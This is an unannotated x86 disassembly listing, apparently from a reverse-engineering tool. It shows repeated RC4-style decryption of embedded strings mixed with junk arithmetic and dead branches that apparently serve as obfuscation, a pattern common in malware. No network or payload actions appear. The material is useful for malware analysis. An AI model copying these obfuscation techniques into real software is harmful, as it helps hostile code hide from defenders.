sub ecx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edx
jl 0xdf2c34
push 7
pop eax
mov dword [ebp - 0x24], eax
push 0x1e
pop eax
mov dword [ebp - 0x108], ecx
mov ecx, ebx
mov dword [ebp - 0x18], eax
mov eax, ebx
mov dword [ebp - 0x20], 0x49
mov dword [ebp - 0x1c], 0x4e
mov dword [ebp - 0x14], 0xffffff44
sub ecx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, edx
jl 0xdf2c68
push 0x3b
pop edi
push 0x1e
pop eax
mov dword [ebp - 0x18], eax
mov edx, ebx
mov ah, byte [0xe1a648]
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x20], 0x37
mov dword [ebp - 0x1c], 0x5a
mov dword [ebp - 0x14], 0xffffff16
mov ecx, 0xe1a648
test ah, ah
je 0xdf2cc9
push 9
mov al, ah
pop ebx
sub al, 0x30
cmp al, bl
ja 0xdf2cba
inc ecx
mov al, byte [ecx]
test al, al
jne 0xdf2cab
jmp 0xdf2cc9
imul ebx, esi, 0xc8761ac1
mov dword [ebp - 0x60], ebx
mov dword [0xe1a6c0], ebx
add edi, dword [ebp + edx*4 - 0x20]
or esi, 0x5608faae
inc edx
mov dword [0xe1a6bc], esi
cmp edx, 4
jl 0xdf2c9d
mov dword [ebp - 0xc], esi
xor ebx, ebx
mov dword [ebp - 0x98], edi
mov esi, 0xdd2abc
lea edi, [ebp - 0x20]
mov dword [ebp - 0x58], 0x1bf1d99d
push 0x12
pop eax
movsd dword es:[edi], dword [esi]
push 0x13
mov byte [ebp - 0x4d], al
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x44], al
push 6
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x37], al
mov eax, ebx
mov dword [ebp - 0x54], 0xb3915f50
mov word [ebp - 0x50], 0xffc3
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x4e], 0xeb
mov dword [ebp - 0x4c], 0xa3443c39
mov dword [ebp - 0x48], 0xf5e60f5a
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x43], 0xc3d798a5
mov edi, ebx
mov dword [ebp - 0x3f], 0x27cbddac
mov dword [ebp - 0x3b], 0xecad597d
mov dword [ebp - 0x36], 0x535b6c2f
mov dword [ebp - 0x32], 0xc4ced8fc
mov word [ebp - 0x2e], 0x8083
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf2d5c
mov edx, dword [ebp - 0xc]
mov esi, ebx
mov cl, byte [ebp + esi - 0x218]
mov eax, esi
and eax, 0xf
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + eax - 0x20]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
mov eax, ebx
inc eax
cmp eax, 0x1ca4
je 0xdf2db7
cmp byte [eax + 0xdd2fd0], bl
jne 0xdf2d9e
cmp eax, 0x688
jle 0xdf2def
jmp 0xdf2dd2
push edx
mov ecx, 0xdd2f70
call fcn.00df1a77
mov eax, dword [0xe1a6c0]
add eax, 0xfa7d7f87
pop ecx
mov dword [0xe1a6bc], eax
mov edx, 0xdd2f70
mov ecx, 0xdd2fd0
call fcn.00df192f
mov eax, dword [0xe1a6c0]
mov edx, dword [0xe1a6bc]
mov dword [ebp - 0x60], eax
mov al, byte [ebp - 1]
xor edx, 0xf603c06b
add edx, 0x4e4c9fb8
mov byte [ebp + edi - 0x218], al
inc esi
mov dword [0xe1a6bc], edx
cmp esi, 0x100
jb 0xdf2d70
movzx ecx, byte [0xe1a648]
mov esi, ebx
mov dword [ebp - 0xc], edx
mov edi, ebx
mov edx, ebx
mov dword [ebp - 8], ecx
mov ebx, dword [ebp - 0xc]
lea eax, [esi + 1]
movzx esi, al
mov al, byte [ebp + esi - 0x218]
mov byte [ebp - 1], al
movzx eax, al
add eax, edx
cmp dword [ebp - 8], 0
movzx eax, al
mov edx, 0x1a38
mov dword [ebp - 0x5c], eax
mov eax, 0xe1a648
je 0xdf2e76
add edx, ecx
inc eax
cmp edx, 0x16fe
ja 0xdf2e6d
movzx ecx, byte [eax]
test ecx, ecx
jne 0xdf2e59
jmp 0xdf2e76
mov ebx, dword [ebp - 0x60]
add ebx, 0xfc2dc6aa
mov edx, dword [ebp - 0x5c]
mov eax, ebx
xor eax, 0x82530794
mov dword [ebp - 0x60], eax
mov al, byte [ebp + edx - 0x218]
mov byte [ebp + esi - 0x218], al
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x218], al
movzx ecx, byte [ebp + esi - 0x218]
movzx eax, al
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 8]
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + edi - 0x58]
mov byte [ebp + edi - 0x888], al
inc edi
cmp edi, 0x2c
jb 0xdf2e2e
push 6
pop eax
mov ecx, eax
mov dword [ebp - 0x14], 0xcefc4be6
mov eax, dword [ebp - 0x60]
lea edi, [ebp - 0x80]
xor ebx, ebx
mov word [ebp - 0x10], 0x99ea
mov esi, 0xdd2ad0
mov byte [ebp - 0x85c], bl
add eax, 0xeb8c1aa5
rep movsd dword es:[edi], dword [esi]
mov dword [0xe1a6c0], eax
mov edi, ebx
mov eax, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf2eff
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 0x17
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x80]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf2f10
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
push 6
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
pop ecx
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x14]
mov byte [ebp + esi - 0x470], al
inc esi
cmp esi, ecx
jb 0xdf2f53
mov dword [ebp - 0x20], 0x45
xorps xmm1, xmm1
mov dword [ebp - 0x1c], 0x2a
xor ebx, ebx
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0x14], 0xe5
movups xmm0, xmmword [ebp - 0x20]
push 0xc
mov byte [ebp - 0x387], cl
psubd xmm1, xmm0
mov byte [ebp - 0x46a], bl
movaps xmm0, xmm1
mov word [ebp - 0x3c0], 0xc708
psrldq xmm0, 8
paddd xmm1, xmm0
mov byte [ebp - 0x3be], 0xca
movups xmm0, xmm1
mov word [ebp - 0x3bc], 0xa2c5
psrldq xmm0, 4
paddd xmm1, xmm0
mov byte [ebp - 0x3ba], 0x29
movd eax, xmm1
mov word [ebp - 0x3b8], 0xf479
mov dword [ebp - 0x3b5], 0x579a4a29
add eax, 0x193
mov dword [ebp - 0x3b1], 0x6d9c08dd
mov dword [ebp - 0x9c], eax
pop eax
push 0x12
mov byte [ebp - 0x3bd], al
pop eax
push 0x13
mov byte [ebp - 0x3b9], al
pop eax
push 0x17
mov byte [ebp - 0x3b6], al
pop eax
push 0xb
mov byte [ebp - 0x3aa], al
pop eax
push 0x14
pop edx
push 5
pop ecx
mov word [ebp - 0x3ad], 0x89c6
mov byte [ebp - 0x3ab], pe_nt_image_headers32
mov dword [ebp - 0x3a9], 0xc9707261
mov dword [ebp - 0x3a5], 0x774b4ca0
mov dword [ebp - 0x3a1], 0xac496249
mov dword [ebp - 0x39d], 0x260fcac8
mov dword [ebp - 0x399], 0x328166db
mov dword [ebp - 0x395], 0xe75756d8
mov dword [ebp - 0x391], 0x5ad53350
mov dword [ebp - 0x38d], 0x91cd1b72
mov word [ebp - 0x389], 0x6e2f
mov dword [ebp - 0x386], 0x4654d1cc
mov dword [ebp - 0x382], 0xa8e0dfe1
mov dword [ebp - 0x37e], 0x84fe2741
mov dword [ebp - 0x37a], 0x4927e447
mov dword [ebp - 0x376], 0xcef6c120
mov byte [ebp - 0x372], al
mov word [ebp - 0x371], 0x754e
mov byte [ebp - 0x36f], 0xd9
mov byte [ebp - 0x36e], dl
mov dword [ebp - 0x36d], 0x655b6a33
mov dword [ebp - 0x369], 0x554d9cc5
mov word [ebp - 0x365], 0x57e3
mov byte [ebp - 0x363], pe_nt_image_headers32
mov byte [ebp - 0x362], cl
mov dword [ebp - 0x361], 0x7862d524
mov dword [ebp - 0x35d], 0x91dc48b8
mov dword [ebp - 0x359], 0x8f28a9fb
mov dword [ebp - 0x355], 0x71205fdb
mov dword [ebp - 0x351], 0x2c87b6c9
mov dword [ebp - 0x34d], 0xcf5f436a
mov dword [ebp - 0x349], 0xcd762811
mov dword [ebp - 0x345], 0x7d76adcd
mov dword [ebp - 0x341], 0x9f498a0c
mov dword [ebp - 0x33d], 0x980077f7
mov dword [ebp - 0x339], 0x25608e1c
mov dword [ebp - 0x335], 0x359ad3be
mov esi, 0xdd228c
mov byte [ebp - 0x30f], cl
lea edi, [ebp - 0x1c]
mov byte [ebp - 0x30c], cl
push 0x1d
pop ecx
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x2bd], al
push 9
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x2fb], cl
mov ecx, dword [ebp - 0xb4]
mov byte [ebp - 0x2bb], al
mov eax, ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x331], 0x9cb5bb06
mov dword [ebp - 0x32d], 0xd69300e5
mov dword [ebp - 0x329], 0x7a797fe8
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x325], 0xbf200947
mov edi, ebx
mov dword [ebp - 0x321], 0x9bdd430
mov dword [ebp - 0x31d], 0xd84351bd
mov dword [ebp - 0x319], 0x80f0d05c
mov dword [ebp - 0x315], 0xbc6a4ed1
mov word [ebp - 0x311], 0x8356
mov word [ebp - 0x30e], 0xec4f
mov dword [ebp - 0x30b], 0x5391e172
mov dword [ebp - 0x307], 0xd8e76e38
mov dword [ebp - 0x303], 0x44d97af0
mov dword [ebp - 0x2ff], 0xcf9d5fe0
mov dword [ebp - 0x2fa], 0xdae927da
mov dword [ebp - 0x2f6], 0x8659f2f7
mov dword [ebp - 0x2f2], 0x252141a3
mov dword [ebp - 0x2ee], 0x4b73c5c2
mov dword [ebp - 0x2ea], 0x9430d1aa
mov dword [ebp - 0x2e6], 0x97c2c7da
mov dword [ebp - 0x2e2], 0x616e30fb
mov dword [ebp - 0x2de], 0x156d9fad
mov dword [ebp - 0x2da], 0xf020f947
mov dword [ebp - 0x2d6], 0xa6551bda
mov dword [ebp - 0x2d2], 0xfd69bd2a
mov dword [ebp - 0x2ce], 0x6ce1ba3
mov byte [ebp - 0x2ca], cl
mov dword [ebp - 0x2c9], 0x59d134c8
mov dword [ebp - 0x2c5], 0x7cc32ae0
mov dword [ebp - 0x2c1], 0x2cb9c4f2
mov byte [ebp - 0x2bc], 0xa9
mov dword [ebp - 0x2ba], 0x99fc5082
mov dword [ebp - 0x2b6], 0xcf18aba2
mov dword [ebp - 0x2b2], 0x4ebbf962
mov dword [ebp - 0x2ae], 0xd67de304
mov dword [ebp - 0x2aa], 0xb2a54289
mov dword [ebp - 0x2a6], 0xf98a5153
mov dword [ebp - 0x2a2], 0x57186816
mov byte [ebp - 0x29e], dl
mov dword [ebp - 0x29d], 0xa6d7a18b
mov dword [ebp - 0x299], 0x93dced61
mov byte [ebp - 0x295], 0x6c
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf3393
push 0xa
mov esi, ebx
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
mov eax, esi
div ecx
movzx ecx, bl
push 0xa
movzx eax, byte [ebp + edx - 0x1c]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf33a7
xor eax, eax
mov edx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov bl, byte [ebp + edi - 0x218]
movzx eax, bl
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
mov edx, dword [0xe1a6c0]
mov ecx, 0xdd2fd0
push edx
lea eax, [edx - 0x38553ed1]
mov dword [0xe1a6bc], eax
call fcn.00df1a77
mov edx, dword [ebp - 8]
pop ecx
mov al, byte [ebp + edx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + edx - 0x218], bl
movzx ecx, byte [ebp + edi - 0x218]
movzx eax, bl
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x3c0]
mov byte [ebp + esi - 0xc38], al
inc esi
cmp esi, 0x12c
jb 0xdf33ec
mov eax, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, dword [0xe1a6c0]
mov byte [ebp - 0x7a], al
or edi, 0xbb2e810c
push 0xd
pop eax
mov byte [ebp - 0x69], al
mov eax, dword [0xdd2ae8]
mov dword [ebp - 0x14], eax
mov ax, word [0xdd2aec]
mov word [ebp - 0x10], ax
mov eax, ecx
mov byte [ebp - 0xb0c], cl
mov dword [ebp - 0x80], 0x1ff0266a
mov word [ebp - 0x7c], 0xb684
mov dword [ebp - 0x79], 0xdb8dd69a
mov dword [ebp - 0x75], 0xaba42592
mov dword [ebp - 0x71], 0x5225c8ca
mov dword [ebp - 0x6d], 0xf050230a
mov dword [ebp - 8], ecx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf34ca
mov esi, ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 5
mov eax, esi
imul edi, edi, 0x6720402e
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x14]
add eax, dword [ebp - 8]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + ecx - 0x218], bl
cmp esi, 0x100
jb 0xdf34db
mov dword [ebp - 8], edi
xor ebx, ebx
imul eax, dword [ebp - 8], 0x3eab3c0
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0xc], eax
mov dword [0xe1a6c0], eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x80]
mov byte [ebp + esi - 0x7dc], al
inc esi
cmp esi, 0x18
jb 0xdf353a
mov esi, 0xdd1818
mov word [ebp - 0x60], 0x937e
lea edi, [ebp - 0x18]
mov byte [ebp - 0x5e], 0x4d
push 0x13
xor ebx, ebx
movsd dword es:[edi], dword [esi]
pop eax
mov byte [ebp - 0x5d], al
mov eax, ebx
mov byte [ebp - 0x7c4], bl
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf35b2
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 9
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x18]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf35c3
xor ebx, ebx
mov ecx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov dl, byte [ebp + edi - 0x218]
movzx eax, dl
add eax, ecx
mov byte [ebp - 1], dl
movzx ecx, al
mov eax, dword [ebp - 0xc]
add eax, 0x95c5a28e
mov dword [ebp - 8], ecx
mov dword [0xe1a6bc], eax
mov eax, ebx
inc eax
cmp eax, 0x2569
jl 0xdf3647
cmp byte [eax + 0xdd2f70], bl
jne 0xdf3632
mov eax, dword [ebp - 0xc]
jmp 0xdf3664
call fcn.00df177a
mov eax, dword [0xe1a6bc]
mov dl, byte [ebp - 1]
add eax, 0xe8aa60d3
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [0xe1a6c0], eax
or eax, 0xbc8178b8
sub eax, 0xb68c11
mov dword [ebp - 0x3cc], eax
mov dword [0xe1a6bc], eax
mov al, byte [ebp + ecx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ecx - 0x218], dl
movzx ecx, byte [ebp + edi - 0x218]
movzx eax, dl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 8]
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x60]
mov byte [ebp + esi - 0x3e4], al
inc esi
cmp esi, 4
jb 0xdf3608
mov esi, 0xdd2af0
mov byte [ebp - 0x3e0], bl
lea edi, [ebp - 0x18]
mov dword [ebp - 0x80], 0x723e57e3
mov dword [ebp - 0x7c], 0xe8285a64
mov eax, ebx
mov dword [ebp - 0x78], 0xb1039708
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x74], 0xe3ab41c9
mov dword [ebp - 0x70], 0x79d2436c
mov dword [ebp - 0x6c], 0xad589445
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x5c], ebx
movsw word es:[edi], word [esi]
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf36fe
mov edi, dword [ebp - 0x3cc]
mov esi, ebx
xor edx, edx
mov cl, byte [ebp + esi - 0x218]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0xe8]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x18]
add eax, dword [ebp - 0x5c]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x5c], eax
mov al, byte [ebp + eax - 0x218]
mov byte [ebp + esi - 0x218], al
mov eax, ebx
inc eax
cmp eax, 0x1895
jl 0xdf3778
cmp byte [eax + 0xdd2f70], bl
jne 0xdf374c
cmp eax, 0x19ca
jle 0xdf3778
push edi
mov edx, edi
mov ecx, 0xe1a648
call fcn.00df1a77
mov eax, dword [0xe1a6c0]
pop ecx
jmp 0xdf377b
mov eax, dword [ebp - 0xc]
and eax, 0xd6da3d19
mov edi, eax
mov dword [0xe1a6bc], edi
mov ecx, dword [ebp - 0x5c]
xor eax, 0x25273ea4
mov dword [ebp - 0xc], eax
inc esi
mov dword [0xe1a6c0], eax
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x218], al
cmp esi, 0x100
jb 0xdf3715
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x80]
mov byte [ebp + esi - 0x7f8], al
inc esi
cmp esi, 0x18
jb 0xdf37b3
mov ecx, dword [ebp - 0xc]
xor ebx, ebx
push 0x12
pop eax
mov byte [ebp - 0x60], al
mov edi, ebx
push 5
pop eax
mov byte [ebp - 0x5d], al
mov eax, dword [0xdd2afc]
mov dword [ebp - 0x14], eax
mov ax, word [0xdd2b00]
mov byte [ebp - 0x7e0], bl
mov word [ebp - 0x5f], 0x40f5
mov word [ebp - 0x10], ax
mov dword [ebp - 0xe8], ebx
sub ecx, 0x18fe58ab
mov dword [0xe1a6c0], ecx
imul eax, ecx, 0x23b9085
mov edx, ecx
push ecx
mov ecx, 0xdd2f70
mov dword [0xe1a6bc], eax
call fcn.00df1a77
mov byte [ebp + ebx - 0x218], bl
inc ebx
pop ecx
cmp ebx, 0x100
jae 0xdf3877
mov ecx, dword [0xe1a6c0]
jmp 0xdf383a
xor ebx, ebx
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 5
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x14]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf387b
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x60]
mov byte [ebp + esi - 0x3ec], al
inc esi
cmp esi, 4
jb 0xdf38be
push 0x13
pop eax
mov byte [ebp - 0x53], al
lea edi, [ebp - 0x80]
push 0x14
pop eax
mov byte [ebp - 0x4d], al
mov esi, 0xdd1b94
push 0x19
pop eax
mov byte [ebp - 0x43], al
xor ebx, ebx
push 5
pop eax
mov ecx, eax
mov byte [ebp - 0x3c], al
mov eax, dword [0xe1a6c0]
rep movsd dword es:[edi], dword [esi]
add eax, 0x5a44edd5
mov byte [ebp - 0x3e8], bl
mov dword [0xe1a6bc], eax
mov eax, ebx
mov dword [ebp - 0x58], 0x7524da83
movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x54], 0xb8
mov edi, ebx
mov dword [ebp - 0x52], 0xc6bd8c77
mov byte [ebp - 0x4e], 0x78
mov dword [ebp - 0x4c], 0xb16efb36
mov dword [ebp - 0x48], 0x68030838
mov byte [ebp - 0x44], 0xcb
mov dword [ebp - 0x42], 0x87f4bfbf
mov word [ebp - 0x3e], 0xd356
mov dword [ebp - 0x3b], 0xda0d920c
mov dword [ebp - 0x37], 0x734c168b
mov dword [ebp - 0x33], 0xa2447404
mov word [ebp - 0x2f], 0xf27c
mov byte [ebp - 0x2d], 0x4f
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf39a2
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 0x14
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x80]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf39b3
xor ebx, ebx
mov edx, ebx
mov esi, ebx
mov edi, ebx
lea eax, [esi + 1]
movzx esi, al
push 0x63
pop ecx
mov al, byte [ebp + esi - 0x218]
mov byte [ebp - 1], al
movzx eax, al
add eax, edx
mov edx, 0x26cb
movzx eax, al
mov dword [ebp - 0xe8], eax
mov eax, 0xdd2fd0
add edx, ecx
inc eax
cmp edx, 0x27f
ja 0xdf3a3d
movsx ecx, byte [eax]
test ecx, ecx
jne 0xdf3a23
mov ebx, dword [0xe1a6c0]
jmp 0xdf3a66
push dword [0xe1a6c0]
mov edx, dword [0xe1a6bc]
mov ecx, 0xe1a648
call fcn.00df1a77
mov ebx, dword [0xe1a6c0]
or ebx, 0x37cbb72
pop ecx
mov dword [0xe1a6c0], ebx
imul eax, ebx, 0x37957a6c
mov edx, 0xdd2b04
mov ecx, 0xdd2b10
mov dword [0xe1a6bc], eax
call fcn.00df1a8a
mov edx, dword [ebp - 0xe8]
mov al, byte [ebp + edx - 0x218]
mov byte [ebp + esi - 0x218], al
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x218], al
movzx ecx, byte [ebp + esi - 0x218]
movzx eax, al
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + edi - 0x58]
mov byte [ebp + edi - 0x8b8], al
inc edi
cmp edi, 0x2c
jb 0xdf39f8
mov esi, 0xdd2b24
mov dword [ebp - 0x14], 0x2f04a933
lea edi, [ebp - 0x254]
mov word [ebp - 0x10], 0xcff9
xor ebx, ebx
mov byte [ebp - 0x88c], bl
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf3af2
push 9
mov ecx, 0xdd2fd0
mov al, 0x63
pop edx
sub al, 0x30
cmp al, dl
ja 0xdf3b22
inc ecx
mov al, byte [ecx]
test al, al
jne 0xdf3b0b
mov eax, dword [0xe1a6c0]
mov dword [ebp - 0xc], eax
jmp 0xdf3b37
mov ecx, dword [0xe1a6c0]
or ecx, 0x6d20979e
mov dword [ebp - 0xc], ecx
mov dword [0xe1a6c0], ecx
mov eax, dword [0xe1a6bc]
mov esi, ebx
add eax, 0x44373150
mov dword [ebp - 0x60], eax
mov dword [0xe1a6bc], eax
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 6
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x254]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf3b4b
xor ebx, ebx
mov dword [ebp - 0x5c], ebx
mov esi, ebx
mov edi, ebx
lea eax, [esi + 1]
movzx esi, al
mov eax, ebx
inc eax
cmp eax, 0x2529
jg 0xdf3bb1
cmp byte [eax + 0xdd2fd0], bl
jne 0xdf3b9c
mov eax, dword [ebp - 0xc]
jmp 0xdf3bc7
push dword [ebp - 0x60]
mov edx, dword [ebp - 0xc]
mov ecx, 0xe1a648
call fcn.00df1a77
mov eax, dword [0xe1a6c0]
pop ecx
add eax, 0x3275820a
mov dword [ebp - 0x60], eax
mov dword [0xe1a6bc], eax
mov cl, byte [ebp + esi - 0x218]
imul eax, eax, 0xb14c47d
movzx edx, cl
push 6
mov dword [ebp - 0xc], eax
mov dword [0xe1a6c0], eax
mov eax, dword [ebp - 0x5c]
add eax, edx
movzx eax, al
mov dword [ebp - 0x5c], eax
mov al, byte [ebp + eax - 0x218]
mov byte [ebp + esi - 0x218], al
mov eax, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x218], cl
movzx eax, byte [ebp + esi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + edi - 0x14]
mov byte [ebp + edi - 0x478], al
inc edi
pop eax
cmp edi, eax
jb 0xdf3b94
push 0x1e
mov byte [ebp - 0x3b], al
lea edi, [ebp - 0x80]
pop eax
mov byte [ebp - 0x3a], al
mov esi, 0xdd2b2c
push 5
pop eax
mov ecx, eax
mov byte [ebp - 0x472], bl
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x58], 0x7626dd04
mov eax, ebx
mov dword [ebp - 0x54], 0x99eb66c0
mov dword [ebp - 0x50], 0xe5af6e3d
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x4c], 0x1c45b3d0
mov edi, ebx
mov dword [ebp - 0x48], 0x4d70a573
mov dword [ebp - 0x44], 0x7789e09f
mov dword [ebp - 0x40], 0x446c220d
mov byte [ebp - 0x3c], 0x37
mov dword [ebp - 0x39], 0x358aef7a
mov dword [ebp - 0x35], 0x54365454
mov dword [ebp - 0x31], 0x2e003a76
mov byte [ebp - 0x2d], 0x4a
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf3cab
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 0x14
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x80]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
mov byte [ebp + edi - 0x218], bl
cmp esi, 0x100
jb 0xdf3cbc
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x218]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x218]
mov byte [ebp + edi - 0x218], al
mov byte [ebp + ebx - 0x218], cl
movzx eax, byte [ebp + edi - 0x218]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [ebp + esi - 0x58]
mov byte [ebp + esi - 0x978], al
inc esi
cmp esi, 0x2c
jb 0xdf3cff
push 0xd
xor ebx, ebx
mov dword [ebp - 0x14], 0x11ceef6b
pop eax
mov byte [ebp - 0xf], al
mov edi, ebx
mov byte [ebp - 0x94c], bl
mov eax, ebx
mov byte [ebp - 0x10], 0xce
mov dword [ebp - 0x254], 0x7373656d
mov dword [ebp - 0x250], 0x656761
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jb 0xdf3d80
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x218]
push 7
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x254]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + esi - 0x218], al
inc esi
